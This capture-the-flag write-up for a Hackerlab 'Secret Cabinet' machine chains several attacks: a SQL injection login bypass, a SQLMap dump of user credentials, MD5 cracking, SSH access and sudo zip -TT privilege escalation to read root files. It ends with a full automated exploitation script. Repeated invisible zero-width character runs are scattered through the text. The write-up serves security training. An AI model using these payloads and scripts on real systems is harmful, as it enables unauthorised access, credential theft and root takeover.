Секретный кабинет (Secret Cabinet)

Platform: hackerlab.pro | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: SQL Injection authentication bypass, SQLMap database enumeration, MD5 hash cracking via online lookup, GTFOBins sudo zip privilege escalation

Summary

Web application with a login form and SSH access. The goal is to find the flag.

Секретный кабинет (Secret Cabinet) — Hackerlab

Description

Web application with a login form and SSH access. The goal is to find the flag.

Connections:

• HTTP: 62.173.140.174:28780
• SSH: 62.173.140.174:28722

Analysis

This is a pentest machine with a web service and SSH access. Classic attack chain: SQL Injection → Credential Extraction → SSH Access → Privilege Escalation.

Stage 1: Web Reconnaissance

When analyzing the login form at /login.php, a hidden field with the username was discovered: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 html read-only • copy allowed Copy
<input type="hidden" name="username" value="josh">

This indicates that username josh is a valid system user.

Stage 2: SQL Injection Detection

Testing the username field for SQL injection:

 bash read-only • copy allowed Copy
curl -X POST "http://62.173.140.174:28780/login.php" \
    -d "username=josh'&password=test"

SQL syntax error confirms the vulnerability exists.

Stage 3: Authentication Bypass

Classic payload for authentication bypass:

username: josh' OR '1'='1
password: anything

Result: HTTP 302 redirect to index.php — successful login! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Stage 4: Database Enumeration with SQLMap

Using SQLMap to extract data from the database:

 bash read-only • copy allowed Copy
sqlmap -u "http://62.173.140.174:28780/login.php" \
    --data="username=josh&password=test" \
    -p username \
    --dbs

Discovered database: secretOffice

Extracting tables and data:

 bash read-only • copy allowed Copy
sqlmap -u "http://62.173.140.174:28780/login.php" \
    --data="username=josh&password=test" \
    -p username \
    -D secretOffice \
    --tables

sqlmap -u "http://62.173.140.174:28780/login.php" \
    --data="username=josh&password=test" \
    -p username \
    -D secretOffice \
    -T users \
    --dump

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result:

Stage 5: MD5 Hash Cracking

Hash cracked via online service (nitrxgen.net):

21cde84360f7f4cddc4f89ea12dda1fa → joshwin

Stage 6: SSH Access & First Flag

Connecting via SSH with obtained credentials:

 bash read-only • copy allowed Copy
ssh josh@62.173.140.174 -p 28722
# Password: joshwin

First part of the flag:

 bash read-only • copy allowed Copy
cat /home/josh/first_part
# CODEBY{REDACTED

Stage 7: Privilege Escalation via sudo zip

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Checking sudo permissions:

 bash read-only • copy allowed Copy
sudo -l

Result:

(ALL) NOPASSWD: /usr/bin/zip

This is a classic GTFOBins vector! zip with the -T (test) option allows executing arbitrary commands via -TT.

GTFOBins Exploit

 bash read-only • copy allowed Copy
sudo zip /tmp/x.zip /etc/hosts -T -TT 'cat /root/*'

Explanation:

• sudo zip — run zip with root privileges
• /tmp/x.zip — create a temporary archive
• /etc/hosts — any file to archive
• -T — enable test mode
• -TT 'cat /root/*' — command for "testing" (executed as root) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Second part of the flag:

REDACTED}

Full Flag

CODEBY{REDACTED}

Full Exploitation Script

 bash read-only • copy allowed Copy
#!/bin/bash

TARGET_HTTP="62.173.140.174:28780"
TARGET_SSH="62.173.140.174"
SSH_PORT="28722"

# Step 1: Confirm SQL Injection
echo "[*] Testing SQL Injection..."
curl -s -X POST "http://$TARGET_HTTP/login.php" \
    -d "username=josh'+OR+'1'='1&password=x" \
    -o /dev/null -w "%{http_code}"

# Step 2: Extract credentials with SQLMap
echo "[*] Running SQLMap..."
sqlmap -u "http://$TARGET_HTTP/login.php" \
    --data="username=josh&password=test" \
    -p username \
    -D secretOffice -T users --dump \
    --batch --level=1 --risk=1
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: SSH and get flags
echo "[*] Connecting via SSH..."
sshpass -p 'joshwin' ssh -o StrictHostKeyChecking=no \
    josh@$TARGET_SSH -p $SSH_PORT \
    'cat /home/josh/first_part; sudo zip /tmp/x.zip /etc/hosts -T -TT "cat /root/*" 2>/dev/null | grep -v "test of"'

Lessons Learned

1. Hidden fields are not security — hidden username field does not protect against SQL injection
2. Always check sudo -l — first step for privilege escalation on Linux
3. GTFOBins is essential — zip, tar, find and many other utilities have privesc vectors
4. Flag hints at vulnerability — "quotation marks everywhere" = SQL injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

• GTFOBins - zip
• SQLMap Documentation
• MD5 Online Cracker ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍